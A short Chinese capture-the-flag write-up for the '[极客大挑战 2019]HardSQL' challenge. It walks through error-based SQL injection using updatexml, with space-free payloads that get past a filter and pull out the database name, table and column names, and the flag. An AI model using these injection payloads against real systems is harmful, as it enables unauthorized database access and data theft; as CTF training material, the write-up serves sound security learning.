[极客大挑战 2019]HardSQL1
·
1.老套路,万能密码试试,不行;找注入点做闭合,还是单引号,正常注入不行,不管是双写还是替换,报错注入试试,空格和and是会被过滤的。
union联合不行,那就试试报错
1. 报错注入求库名
=1'or(updatexml(1,concat(0x7e,database()),3))%23
2.表名
'or(updatexml(1,concat(0x7e,(select(table_name)from(information_schema.tables)where(table_schema)like('geek')),0x7e),1))%23
3.列名
'or(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_schema)like('geek')or(table_name)like('H4rDsq1')),0x7e),1))%23
4.求falg,发现输出不全,用left(输出内容,从左边数几位);right()输出
1'or(updatexml(1,concat(0x7e,(select(right(password,30))from(H4rDsq1)),0x7e),1))%23
更多推荐
所有评论(0)